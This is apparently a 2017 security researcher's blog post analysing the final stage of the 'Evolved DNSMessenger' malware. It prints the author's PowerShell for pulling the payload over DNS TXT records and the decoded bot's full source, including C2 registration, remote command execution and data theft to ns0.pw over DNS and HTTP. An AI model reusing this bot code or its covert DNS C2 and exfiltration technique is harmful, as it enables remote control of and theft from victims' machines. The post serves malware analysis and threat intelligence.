More info on “Evolved DNSMessenger”

wraithhacker.com/2017/10/11/more-info-on-evolved-dnsmessenger/

By ajyates October 11, 2017

I read the recent blog post from Talos Intelligence. Great write up, but noticed they mentioned they were unable to get the final stage of the payload. I had also analyzed the “EDGAR_Rules_2017.docx” document yesterday, and happened to get the final payload.

So picking up where they left off –

As they described, the stager powershell code uses DNS A records and TXT records to pull down the next payload. After some testing with the malicious powershell code, I ran into similar issues as Talos likely did and couldn’t get the next payload. Eventually I determined the A records were unnecessary, so wrote up my own quick powershell to pull down all the TXT records (turned out to be 44 TXT requests):

```
$complete = "";
$count = 0;
while($count -lt 44)
{
  $lookup_domain = "AAAAAAAAAA.stage.$count.ns1.press";
  $nslookup_result = nslookup -type=txt $lookup_domain 2>&1;
  #Write-Host($nslookup_result);
  $regex = [regex]
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('KAAiAFsAXgBcAHMAXQAq
 #("[^\s]*"\s*)+
  $regex_txt_result = $regex.Matches($nslookup_result);
  #Write-Host($regex_txt_result);
  $value = ($regex.Matches($nslookup_result) | Select -ExpandProperty Value) -join ''
-replace '"' -replace '`n' -replace ' ';
  Write-Host($value);
  $complete += $value;
  Write-Host("Current stage: " + $count);
  Write-Host("Payload: " + $complete);
  sleep -s 1;
  $count++;
}
```

This resulted in a final payload of:

```
H4sIAJ2R3VkC/909a1fbSJafyTn5DxXhbkvYEpg8pgcjpnnkwXQgLNCTnnG8HdkqQGBLjiRDCPE5+x/2H+4v2X
```

Next I used the same powershell code to decode the base64, then decompress and print the result:

```
$data=[System.Convert]::FromBase64String('{PLACE BASE64 HERE}');

$ms=New-Object System.IO.MemoryStream;
$ms.Write($data,0,$data.Length);
$ms.Seek(0,0)|Out-Null;
$cs=New-Object System.IO.Compression.GZipStream($ms,
[System.IO.Compression.CompressionMode]::Decompress);
$sr=New-Object System.IO.StreamReader($cs);
Write-Output("Output2:")
Write-Output($sr.readtoend())
```

Final payload:

```
# This section should be ommited as it is present in Stager
# ================================================================================
$domains =
@("ns0.pw","ns0.site","ns0.space","ns0.website","ns1.press","ns1.website","ns2.press",

$retryCount = 10
$retryCountDoDns = 10

$biginteger = @"
using System;using System.Runtime.Serialization;using
System.Runtime.Serialization.Formatters;using System.Security.Permissions;using
System.Text;using System.Collections.Generic;namespace X{enum
Sign{Positive,Negative};[Serializable]
public sealed class BigIntegerException:Exception
{public BigIntegerException(string message,Exception
innerException):base(message,innerException)
{}}
[Serializable]
public sealed class
BigInteger:ISerializable,IEquatable,IComparable,IComparable{private const long
NumberBase=65536;internal const int MaxSize=2*640;private const int
RatioToBinaryDigits=16;private static readonly BigInteger Zero=new B
igInteger();private static readonly BigInteger One=new BigInteger(1);private static
readonly BigInteger Two=new BigInteger(2);private static readonly BigInteger Ten=new
BigInteger(10);private long[]digits;private int size;private Sign sign;public
BigInteger()
{digits=new long[MaxSize];size=1;digits[size]=0;sign=Sign.Positive;}
public BigInteger(long n)
{digits=new long[MaxSize];sign=Sign.Positive;if(n==0)
{size=1;digits[size]=0;}
else
{if(n<0)
{n=-n;sign=Sign.Negative;}
size=0;while(n>0)
{digits[size]=n%NumberBase;n/=NumberBase;size++;}}}
public BigInteger(BigInteger n)
{digits=new long[MaxSize];size=n.size;sign=n.sign;for(int i=0;i'9'))
{if((i==0)&&(numberString[i]=='-'))
numberSign=Sign.Negative;else
throw new BigIntegerException("Invalid numeric string.",null);}
else
number=number*Ten+long.Parse(numberString[i].ToString());}
sign=numberSign;digits=new long[MaxSize];size=number.size;for(i=0;iMaxSize)
throw new BigIntegerException("The byte array's content exceeds the maximum size of a
BigInteger.",null);digits=new long[MaxSize];sign=Sign.Positive;for(int i=0;i0)&&
(reducible==true))
{if(digits[size-1]==0)
size--;else reducible=false;}}
private BigInteger(SerializationInfo info,StreamingContext context)
{bool signValue=(bool)info.GetValue("sign",typeof(bool));if(signValue==true)
sign=Sign.Positive;else
sign=Sign.Negative;size=(int)info.GetValue("size",typeof(short));digits=new
long[MaxSize];int i;for(i=0;ib.size)
return true;if(a.size=0;i--)
if(a.digits[i]>b.digits[i])
```

```
return true;else if(a.digits[i]b.size)
return false;for(int i=(a.size)-1;i>=0;i--)
if(a.digits[i]b.digits[i])
return false;}}
return false;}
public static bool GreaterOrEqual(BigInteger a,BigInteger b)
{return Greater(a,b)||Equals(a,b);}
public static bool Smaller(BigInteger a,BigInteger b)
{return!GreaterOrEqual(a,b);}
public static bool SmallerOrEqual(BigInteger a,BigInteger b)
{return!Greater(a,b);}
public static BigInteger Abs(BigInteger n)
{BigInteger res=new BigInteger(n);res.sign=Sign.Positive;return res;}
public static BigInteger Addition(BigInteger a,BigInteger b)
{BigInteger res=null;if((a.sign==Sign.Positive)&&(b.sign==Sign.Positive))
{if(a>=b)
res=Add(a,b);else
res=Add(b,a);res.sign=Sign.Positive;}
if((a.sign==Sign.Negative)&&(b.sign==Sign.Negative))
{if(a<=b)
res=Add(-a,-b);else
res=Add(-b,-a);res.sign=Sign.Negative;}
if((a.sign==Sign.Positive)&&(b.sign==Sign.Negative))
{if(a>=(-b))
{res=Subtract(a,-b);res.sign=Sign.Positive;}
else
{res=Subtract(-b,a);res.sign=Sign.Negative;}}
if((a.sign==Sign.Negative)&&(b.sign==Sign.Positive))
{if((-a)<=b)
{res=Subtract(b,-a);res.sign=Sign.Positive;}
else
{res=Subtract(-a,b);res.sign=Sign.Negative;}}
return res;}
public static BigInteger Subtraction(BigInteger a,BigInteger b)
{BigInteger res=null;if((a.sign==Sign.Positive)&&(b.sign==Sign.Positive))
{if(a>=b)
{res=Subtract(a,b);res.sign=Sign.Positive;}
else
{res=Subtract(b,a);res.sign=Sign.Negative;}}
if((a.sign==Sign.Negative)&&(b.sign==Sign.Negative))
{if(a<=b)
{res=Subtract(-a,-b);res.sign=Sign.Negative;}
else
{res=Subtract(-b,-a);res.sign=Sign.Positive;}}
if((a.sign==Sign.Positive)&&(b.sign==Sign.Negative))
{if(a>=(-b))
res=Add(a,-b);else
res=Add(-b,a);res.sign=Sign.Positive;}
if((a.sign==Sign.Negative)&&(b.sign==Sign.Positive))
{if((-a)>=b)
res=Add(-a,b);else
res=Add(b,-a);res.sign=Sign.Negative;}
return res;}
public static BigInteger Multiplication(BigInteger a,BigInteger b)
{if((a==Zero)||(b==Zero))
```

```
return Zero;BigInteger res=Multiply(Abs(a),Abs(b));if(a.sign==b.sign)
res.sign=Sign.Positive;else
res.sign=Sign.Negative;return res;}
public static BigInteger Division(BigInteger a,BigInteger b)
{if(b==Zero)
throw new BigIntegerException("Cannot divide by zero.",new
DivideByZeroException());if(a==Zero)
return Zero;if(Abs(a)(BigInteger a,BigInteger b)
{return Greater(a,b);}
public static bool operator=(BigInteger a,BigInteger b)
{return GreaterOrEqual(a,b);}
public static bool operator<=(BigInteger a,BigInteger b)
{return SmallerOrEqual(a,b);}
public static BigInteger operator-(BigInteger n)
{return Opposite(n);}
public static BigInteger operator+(BigInteger a,BigInteger b)
{return Addition(a,b);}
public static BigInteger operator-(BigInteger a,BigInteger b)
{return Subtraction(a,b);}
public static BigInteger operator*(BigInteger a,BigInteger b)
{return Multiplication(a,b);}
public static BigInteger operator/(BigInteger a,BigInteger b)
{return Division(a,b);}
public static BigInteger operator%(BigInteger a,BigInteger b)
{return Modulo(a,b);}
public static BigInteger operator++(BigInteger n)
{BigInteger res=n+One;return res;}
public static BigInteger operator--(BigInteger n)
{BigInteger res=n-One;return res;}
private static BigInteger Add(BigInteger a,BigInteger b)
{BigInteger res=new BigInteger(a);long trans=0,temp;int i;for(i=0;i0));i++)
{temp=res.digits[i]+trans;res.digits[i]=temp%NumberBase;trans=temp/NumberBase;}
if(trans>0)
{res.digits[res.size]=trans%NumberBase;res.size++;trans/=NumberBase;}
return res;}
private static BigInteger Subtract(BigInteger a,BigInteger b)
{BigInteger res=new BigInteger(a);int i;long temp,trans=0;bool
reducible=true;for(i=0;i0));i++)
{temp=res.digits[i]-trans;if(temp<0)
{trans=1;temp+=NumberBase;}
else trans=0;res.digits[i]=temp;}
while((res.size-1>0)&&(reducible==true))
{if(res.digits[res.size-1]==0)
res.size--;else reducible=false;}
return res;}
private static BigInteger Multiply(BigInteger a,BigInteger b)
{int i,j;long temp,trans=0;BigInteger res=new BigInteger();res.size=a.size+b.size-
1;for(i=0;i0)
{res.digits[res.size]=trans%NumberBase;res.size++;trans/=NumberBase;}
return res;}
private static BigInteger DivideByOneDigitNumber(BigInteger a,long b)
{BigInteger res=new BigInteger();int i=a.size-1;long
temp;res.size=a.size;temp=a.digits[i];while(i>=0)
{res.digits[i]=temp/b;temp%=b;i--;if(i>=0)
temp=temp*NumberBase+a.digits[i];}
```

```
if((res.digits[res.size-1]==0)&&(res.size!=1))
res.size--;return res;}
private static BigInteger DivideByBigNumber(BigInteger a,BigInteger b)
{int k,n=a.size,m=b.size;long f,qt;BigInteger d,dq,q,r;f=NumberBase/(b.digits[m-
1]+1);q=new BigInteger();r=a*f;d=b*f;for(k=n-m;k>=0;k--)
{qt=Trial(r,d,k,m);dq=d*qt;if(DivideByBigNumberSmaller(r,dq,k,m))
{qt--;dq=d*qt;}
q.digits[k]=qt;Difference(r,dq,k,m);}
q.size=n-m+1;if((q.size!=1)&&(q.digits[q.size-1]==0))
q.size--;return q;}
private static bool DivideByBigNumberSmaller(BigInteger r,BigInteger dq,int k,int m)
{int i=m,j=0;while(i!=j)
{if(r.digits[i+k]!=dq.digits[i])
j=i;else i--;}
if(r.digits[i+k] postParameters)
    {
        string formDataBoundary = String.Format("----------{0:N}", Guid.NewGuid());
        string contentType = "multipart/form-data; boundary=" + formDataBoundary;

        byte[] formData = GetMultipartFormData(postParameters, formDataBoundary);

        return PostForm(postUrl, userAgent, contentType, formData);
    }
    private static HttpWebResponse PostForm(string postUrl, string userAgent, string
contentType, byte[] formData)
    {
        HttpWebRequest request = WebRequest.Create(postUrl) as HttpWebRequest;

        if (request == null)
        {
            throw new NullReferenceException("request is not a http request");
        }

        // Set up the request properties.
        request.Method = "POST";
        request.ContentType = contentType;
        request.UserAgent = userAgent;
        request.CookieContainer = new CookieContainer();
        request.ContentLength = formData.Length;

        // You could add authentication here as well if needed:
        // request.PreAuthenticate = true;
        // request.AuthenticationLevel =
System.Net.Security.AuthenticationLevel.MutualAuthRequested;
        // request.Headers.Add("Authorization", "Basic " +
Convert.ToBase64String(System.Text.Encoding.Default.GetBytes("username" + ":" +
"password")));

        // Send the form data to the request.
        using (Stream requestStream = request.GetRequestStream())
        {
            requestStream.Write(formData, 0, formData.Length);
            requestStream.Close();
        }
```

```
        return request.GetResponse() as HttpWebResponse;
    }

    private static byte[] GetMultipartFormData(Dictionary postParameters, string
boundary)
    {
        Stream formDataStream = new System.IO.MemoryStream();
        bool needsCLRF = false;

        foreach (KeyValuePair param in postParameters)
        {
            // Thanks to feedback from commenters, add a CRLF to allow multiple
parameters to be added.
            // Skip it on the first parameter, add it to subsequent parameters.
            if (needsCLRF)
                formDataStream.Write(encoding.GetBytes("\r\n"), 0,
encoding.GetByteCount("\r\n"));

            needsCLRF = true;
            string postData = string.Format("--{0}\r\nContent-Disposition: form-data;
name=\"{1}\"\r\n\r\n{2}",
                boundary,
                param.Key,
                param.Value);
            formDataStream.Write(encoding.GetBytes(postData), 0,
encoding.GetByteCount(postData));
        }

        // Add the end of the request.  Start with a newline
        string footer = "\r\n--" + boundary + "--\r\n";
        formDataStream.Write(encoding.GetBytes(footer), 0,
encoding.GetByteCount(footer));

        // Dump the Stream into a byte[]
        formDataStream.Position = 0;
        byte[] formData = new byte[formDataStream.Length];
        formDataStream.Read(formData, 0, formData.Length);
        formDataStream.Close();

        return formData;
    }
}
"@

if (-not ([System.Management.Automation.PSTypeName]'X.BigInteger').Type) {
    Add-Type -TypeDefinition $biginteger -Language CSharp
}
if (-not ([System.Management.Automation.PSTypeName]'FormUpload').Type) {
    Add-Type -TypeDefinition $form -Language CSharp
}

function ConvertTo-Dictionary
{
    #requires -Version 2.0
```

```
    [CmdletBinding()]
    param (
        [Parameter(Mandatory = $true, ValueFromPipeline = $true)]
        [hashtable]
        $InputObject,

        [Type]
        $KeyType = [string]
    )

    process
    {
        $outputObject = New-Object
"System.Collections.Generic.Dictionary[[$($KeyType.FullName)],[Object]]"

        foreach ($entry in $InputObject.GetEnumerator())
        {
            $newKey = $entry.Key -as $KeyType

            if ($null -eq $newKey)
            {
                throw 'Could not convert key "{0}" of type "{1}" to type "{2}"' -f
                      $entry.Key,
                      $entry.Key.GetType().FullName,
                      $KeyType.FullName
            }
            elseif ($outputObject.ContainsKey($newKey))
            {
                throw "Duplicate key `"$newKey`" detected in input object."
            }

            $outputObject.Add($newKey, $entry.Value)
        }

        Write-Output $outputObject
    }
}



function Pick-Domain {
    param([array]$DomainList)
    if ($DomainList.count -eq 1) {
        return $DomainList
    }
    return $DomainList[(Get-Random -Maximum ([array]$DomainList).count)]
}

function Identify-Machine() {
    $serial = Get-WmiObject Win32_BIOS | Select -ExpandProperty SerialNumber
    $md5 = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider
    $hash = ($md5.ComputeHash([system.Text.Encoding]::UTF8.GetBytes($serial)) |
foreach { $_.ToString("X2") }) -join ""

    return $hash.Substring(0, 10)
```

```
}

function Try-Domains {
    [CmdletBinding()]
    param([Parameter(ValueFromPipeline=$True)][array]$DomainList,
[scriptblock]$Action)

    if ((-not $DomainList) -or ($DomainList.count -eq 0) -or ($retryCount -eq 0)) {
        Throw "No domains"
    }

    $domain = Pick-Domain $DomainList
    try {
        return &$Action -Domain $domain
    } catch {
        $retryCount--
        return Try-Domains ([array]($DomainList)) $Action # | Where-Object { $_ –ne
$domain }
    }
}

function Do-DNS-A {
    [CmdletBinding()]
    param([Parameter()]$dns)

    Write-Debug "[DNS] (A) ==> ${dns}"
    $data = nslookup -type=a $dns 2>&1
    $regexp = [regex] "\s*$dns(.localdomain)*\s*Address(es)*:\s*([\d\.]*)"
    $match = $regexp.Match($data)
        $countNow = 0
    while ((-not $match.Success) -and ($countNow -ne $retryCountDoDns)) {
                Start-Sleep -s 5
        $data = nslookup -type=a $dns 2>&1
                $regexp = [regex] "\s*$dns(.localdomain)*\s*Address(es)*:\s*
([\d\.]*)"
                $match = $regexp.Match($data)
                $countNow = $countNow + 1
    }
        if ((-not $match.Success)) {
                return 0
        }
    return $match.Groups[3].Value
}

function Do-DNS-TXT {
    [CmdletBinding()]
    param([Parameter()]$dns)

    Write-Debug "[DNS] (TXT) ==> ${dns}"
    $data = nslookup -type=txt $dns 2>&1
    $regexp = [regex] '("[^\s]*"\s*)+'
    $matches = $regexp.Matches($data)
        $countNow = 0
        while (($matches.count -eq 0) -and ($countNow -ne $retryCountDoDns)) {
                Start-Sleep -s 5
```

```
        $data = nslookup -type=txt $dns 2>&1
                $regexp = [regex] '("[^\s]*"\s*)+'
                $matches = $regexp.Matches($data)
                $countNow = $countNow + 1
    }
    if ($matches.count -eq 0) {
        return 0
    }
    return ($matches | Select -ExpandProperty Value) -join '' -replace '"' -replace
'`n' -replace ' '
}

function Get-DecompressedString {

        [CmdletBinding()]
    Param (

[Parameter(Mandatory=$True,ValueFromPipeline=$True,ValueFromPipelineByPropertyName=$Tr

        [byte[]] $byteArray = $(Throw("-byteArray is required"))
    )
        Process {
            Write-Verbose "Get-DecompressedByteArray"

        $ms = New-Object System.IO.MemoryStream
        $ms.Write($byteArray, 0, $byteArray.Length)
        $null = $ms.Seek(0,0)

        $cs = New-Object System.IO.Compression.GZipStream($ms,
[System.IO.Compression.CompressionMode]::Decompress)
        $out = New-Object System.IO.MemoryStream
        $sr = New-Object System.IO.StreamReader($cs, [system.Text.Encoding]::UTF8)
        Write-Output $sr.readtoend();
    }
}

function Decode-String {
    [CmdletBinding()]
    param([Parameter(ValueFromPipeline=$True)]$Code)
        if ($Code -eq 0) {
                return 0
        }
    $gzipBytes = [System.Convert]::FromBase64String($Code)
    return Get-DecompressedString($gzipBytes)
}

function Encode-Base58{
    [CmdletBinding()]
    param([Parameter()]$bytes)

    $base58digits = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"

    # get big int representation
    $dBig = New-Object X.BigInteger 0
    $bytes | %{ $dBig = $dBig * 256 + $_ }
```

```
    # combine into string
    $result = [System.String]::Empty
    while ($dBig -gt 0) {
        $rem = ($dBig % 58).ToInt()
        $dBig /= 58
        $result = $base58digits[$rem] + $result
    }
    foreach ($b in $bytes) {
        if ($b -ne 0) { break }
        $result = '1' + $result
    }

    return $result
}

function Encode-Data{
    [CmdletBinding()]
    param([Parameter()]$data)

    $bytes = [system.Text.Encoding]::UTF8.GetBytes($data)
    $b58bytes = Encode-Base58 $bytes

    $split = ([regex]::matches($b58bytes, '.{1,63}') | %{$_.value}) -join '.'

    return $split
}

function Encode-HTTP-Data {
    [CmdletBinding()]
    param([Parameter()]$data)

    $bytes = [system.Text.Encoding]::UTF8.GetBytes($data)
    return [System.Convert]::ToBase64String($bytes)
}

# ================================================================================

function Register-Bot {
    [CmdletBinding()]
    param([Parameter()]$DomainList)

    $regSuccess = Try-Domains $DomainList {
        return Do-DNS-TXT "$(Identify-Machine).add.$domain"
    }
    if ($regSuccess -ne "1") {
        throw "Bad registration"
    }
}
function Exec-Timeout {
    [CmdletBinding()]
    param([Parameter(ValueFromPipeline=$True)][string]$command)
    $timeoutSeconds = 10
    Write-Host $command
    $val = "failure"
```

```
    $code = {
        param($c)
        Invoke-Expression $c
    }
    $j = Start-Job -ScriptBlock $code -ArgumentList $command
    if (Wait-Job $j -Timeout $timeoutSeconds) {
        $val = Receive-Job $j
    }
    Remove-Job -force $j
    return $val
}
function Execute-Dict {
    [CmdletBinding()]
    param([Parameter(ValueFromPipeline=$True)]$Data)

    $output = @{}
    $Data.GetEnumerator() | % {
        $val = try { Exec-Timeout $_.value } catch { "Failure" }
        $output[$_.key] = $val
    }
    return $output
}

function Do-Bad-Job {
    [CmdletBinding()]
    param([Parameter()]$DomainList, [Parameter()]$Data)

    Execute-Dict $Data | %{$_.GetEnumerator()} | %{
        try {
            $letter = $_.key
            $sdata = $_.value
            $enc = Encode-Data $sdata
            Write-Debug "[General data] ${letter}: ${sdata} => ${enc}"

            Try-Domains $DomainList {
                $response = Do-DNS-A "${enc}.${letter}.$(Identify-Machine).i.$domain"
#| Select -ExpandProperty IPAddress
                if ($response -ne '1.1.1.1') {
                    Throw 'Bad response 3'
                }
            }
        } catch {
            Write-Debug "[General data] Unable to send ${letters} --> $($error[0])"
        }
    }

    Write-Debug "[General data] Complete"
}
function Read-Mode {
    [CmdletBinding()]
    param([Parameter()]$DomainList)

    return Try-Domains $DomainList {
        return Do-DNS-TXT "$(Identify-Machine).mx1.$domain"
    }
```

```
}

function Get-WWW-PS {
    [CmdletBinding()]
    param([Parameter()]$DomainList)

    return Try-Domains $DomainList {
        return Do-DNS-TXT "$(Identify-Machine).www.$domain" | Decode-String
    }
}
function ConvertTo-Json20([object] $item){
    try{
        add-type -assembly system.web.extensions
        $ps_js=new-object system.web.script.serialization.javascriptSerializer
        return $ps_js.Serialize($item)
    } catch {
        Write-Host "Exception on json encode"
    }
}
function ConvertFrom-Json20([object] $item){
    add-type -assembly system.web.extensions
    $ps_js=new-object system.web.script.serialization.javascriptSerializer

    #The comma operator is the array construction operator in PowerShell
    return ,$ps_js.DeserializeObject($item)
}
function Escape-JSONString($str){
  if ($str -eq $null) {return ""}
  $str =
$str.ToString().Replace('"','''').Replace('\','/').Replace("`n",'\n').Replace("`r",'\r

  return $str;
}

function ConvertTo-JSON($maxDepth = 4,$forceArray = $false) {
        begin {
                $data = @()
        }
        process{
                $data += $_
        }

        end{

                if ($data.length -eq 1 -and $forceArray -eq $false) {
                        $value = $data[0]
                } else {
                        $value = $data
                }

                if ($value -eq $null) {
                        return "null"
                }
```

```
                $dataType = $value.GetType().Name

                switch -regex ($dataType) {
                    'String'  {
                                        return  "`"{0}`"" -f (Escape-JSONString
$value )
                                }
                    '(System\.)?DateTime'  {return  "`"{0:yyyy-MM-dd}T{0:HH:mm:ss}`""
-f $value}
                    'Int32|Double' {return  "$value"}
                                'Boolean' {return  "$value".ToLower()}
                    '(System\.)?Object\[\]' { # array

                                        if ($maxDepth -le 0){return "`"$value`""}

                                        $jsonResult = ''
                                        foreach($elem in $value){
                                                #if ($elem -eq $null) {continue}
                                                if ($jsonResult.Length -gt 0)
{$jsonResult +=', '}
                                                $jsonResult += ($elem | ConvertTo-
JSON -maxDepth ($maxDepth -1))
                                        }
                                        return "[" + $jsonResult + "]"
                    }
                                '(System\.)?Hashtable' { # hashtable
                                        $jsonResult = ''
                                        foreach($key in $value.Keys){
                                                if ($jsonResult.Length -gt 0)
{$jsonResult +=', '}
                                                $jsonResult +=
@"
        "{0}": {1}
"@ -f $key , ($value[$key] | ConvertTo-JSON -maxDepth ($maxDepth -1) )
                                        }
                                        return "{" + $jsonResult + "}"
                                }
                    default { #object
                                        if ($maxDepth -le 0){return  "`"{0}`"" -f
(Escape-JSONString $value)}

                                        return "{" +
                                                (($value | Get-Member -MemberType
*property | % {
@"
        "{0}": {1}
"@ -f $_.Name , ($value.($_.Name) | ConvertTo-JSON -maxDepth ($maxDepth -1) )

                                        }) -join ', ') + "}"
                        }
                }
        }
}
```

```
#"a" | ConvertTo-JSON
#dir \ | ConvertTo-JSON
#(get-date) | ConvertTo-JSON
#(dir \)[0] | ConvertTo-JSON -maxDepth 1
#@{ "asd" = "sdfads" ; "a" = 2 } | ConvertTo-JSON
function Send-HTTP-Data {
    [CmdletBinding()]
    param([Parameter()]$DomainList, [Parameter()]$data)

    # encode data
    Write-Host "Start send http"
    Write-Host "Data: $data"
    $encdata = $data | ConvertTo-JSON #Encode-HTTP-Data $data
    $dataToSend = @{'hwid' = $(Identify-Machine); 'data' = $encdata }# | ConvertTo-
JSON
    Write-Host $dataToSend
    return Try-Domains $DomainList {
        #$url = "http://$(Identify-Machine).http.$domain"
        $url = "http://ns0.pw/index.php?r=bot-result/index"
        $ua = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.36"

        Write-Host "[HTTP] ===> $url"
        try {
            # $d = ConvertTo-Dictionary $dataToSend | ConvertTo-JSON
            $dataToSend = $dataToSend | ConvertTo-Dictionary -KeyType String
            $response = [FormUpload]::MultipartFormDataPost($url, $ua, $dataToSend)
#, $dataToSend
            $reader = New-Object
System.IO.StreamReader($response.GetResponseStream())
            Write-Debug "[HTTP] Finished"
            return $reader.ReadToEnd()
        } catch {
            Write-Host "Exception send http"
            Write-Host $Error[0]
        }
    }
}
function Main-Loop {
    [CmdletBinding()]
    param([Parameter()]$DomainList)

    while (1) {
        try {
            # get mode
            $mode = Read-Mode $domains
            $interval = 0
            Write-Host $mode
            switch ($mode){
                '3' { break }
                '0' { $interval = 5*60 }
                '1' { $interval = 12*60*60 }
            }
            Write-Host $interval
```

```
        } catch {
            Write-Host "Error check mode!!!"
            Write-Host $Error[0]

        }

        try {
            # NO www=exit HANDLING
            $data = Get-Tasks $DomainList
            Write-Host $data
            $taskType = ''
            $data_new = @{}
            $sdata = ConvertFrom-Json20 $data #| ConvertTo-Dictionary

            foreach ($itemKey in $sdata.Keys) {
                if ($itemKey -ne 'taskType' ) {
                    $data_new[$itemKey] = $sdata[$itemKey]
                } else {
                    $taskType = $sdata[$itemKey]
                }
            }

            $data = Execute-Dict $data_new
            Write-Host "Dict exec ok"

            $data['taskType'] = $taskType
            Write-Debug "[Main-Loop] Data: ${data}"
            # convert to dictionary if not a dictionary
            if ($data -isnot [System.Collections.HashTable]){
                $data = @{'response'=$data}
            }

            # if not OK code -- exception
            try{
                Write-Host "Try send"
                $a = Send-HTTP-Data $DomainList $data
                Write-Host $a
            } catch {
                Write-Host "Is no domains? $Error[0]"
            }
        } catch {
            Write-Debug "[Main-Loop] Execution crashed"
            Write-Host $Error[0]

        }
        Write-Debug "[Main-Loop] Start sleeping for ${interval}s"
        Start-Sleep -s $interval

    }
}
function Get-Tasks {
    [CmdletBinding()]
    param([Parameter(ValueFromPipeline=$True)]$DomainList)
    return Download-Big-TXT $DomainList "www" | Decode-String
}
```

```
$baseData = @{
    'u'='$env:username'
    'd'='$env:userdomain'
    'o'='Get-WmiObject Win32_OperatingSystem | Select -ExpandProperty Caption'
    'h'='hostname'
    'a'='1'
    'org'='Get-WmiObject Win32_OperatingSystem | Select -ExpandProperty Organization
| %{if ([string]::IsNullOrEmpty($_)) {"NoOrg"} else {$_}}'
    'arc'='Get-WmiObject Win32_OperatingSystem | Select -ExpandProperty
OSArchitecture'
}
try{
    [Console]::OutputEncoding = [system.Text.Encoding]::UTF8
} catch {
    Write-Host $Error[0]
}
try {
    # register bot
    Register-Bot $domains
    # send data
    Do-Bad-Job $domains $baseData
    # enter main loop
    Main-Loop $domains
} catch {
    Write-Debug "Error: "
    Write-Debug $Error[0]
}
```

The result is just your typical C&C bot code, still using the same C&C servers mentioned in the Talos Intelligence blog.

A different structure of DNS records is being used for different commands. Instead of the hardcoded “stage” string to make up the URL (such as AAAAAAAAAA.stage.0.ns0.pw), we now have “add” (register bot), “mx1” (get ‘mode’), and “www” (get tasks). Exfiltration appears to be done via a web form hardcoded to the url: hxxp://ns0[.]pw/index[.]php?r=bot-result/index

I registered a “fake bot” to see what the initial list of tasks were. The first list of tasks were:

```
{"taskType": "fullinfo", "24": "tasklist /v", "25": "wmic process get
caption,commandline,processid", "26": "wmic process get
caption,commandline,processid", "27": "wmic logicaldisk get
caption,description,drivetype,providername,volumename", "21": "netsh fire
wall show state", "22": "netsh firewall show config", "23": "schtasks /query /fo LIST
/v", "28": "tasklist /SVC", "29": "net start", "1": "systeminfo", "2": "echo
%username% %userprofile%", "5": "whoami /all", "4": "hostname", "7": "net user",
"12": "net use"
, "15": "wmic startup list brief", "14": "wmic share list brief", "17": "route
print", "16": "ipconfig /all", "19": "netstat -anop tcp", "18": "arp -A", "31": "wmic
qfe get Description,HotFixID,InstalledOn", "30": "driverquery", "32": "cd
%ProgramFiles% & dir
 & cd %ProgramFiles(x86)% & dir"}
```

So just typical information gathering commands.

I’ll let other do more analysis if desired, just wanted to provide additional information